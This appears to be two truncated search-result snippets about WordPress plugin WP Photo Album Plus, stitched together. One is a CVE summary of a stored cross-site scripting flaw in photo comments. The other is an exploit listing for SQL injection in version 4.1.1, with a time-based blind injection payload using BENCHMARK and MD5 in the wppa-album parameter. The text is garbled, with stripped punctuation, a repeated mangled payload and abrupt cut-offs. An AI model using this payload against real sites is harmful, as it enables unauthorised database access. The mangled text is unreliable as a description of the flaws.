CVE-2026-14922: Improper Neutralization of Input During Web Page Generation

WP Photo Album Plus is vulnerable to stored Cross-Site Scripting in all versions up to, and including, 9.2.03.001 through a decode-after-sanitize double-encoding flaw in the photo-comment pipeline. On write, wppadocomment sanitizes the comment with wppafilterhtml wpkses followed by wpstripalltags...

WordPress Plugin Photo Album Plus 4.1.1 - SQL Injection

WordPress Plugin Photo Album Plus 4.1.1 - SQL Injection Exploit Title: WP Photo Album Plus 1,BENCHMARK500000000,MD5CHAR115,113,108,109,97,112,0&wppa-cover=0&wppa-occur=1 wppa-album=1 AND 1=IF21,BENCHMARK500000000,MD5CHAR115,113,108,109,97,112,0&wppa-cover=0&wppa-occur=1 e.g. wget...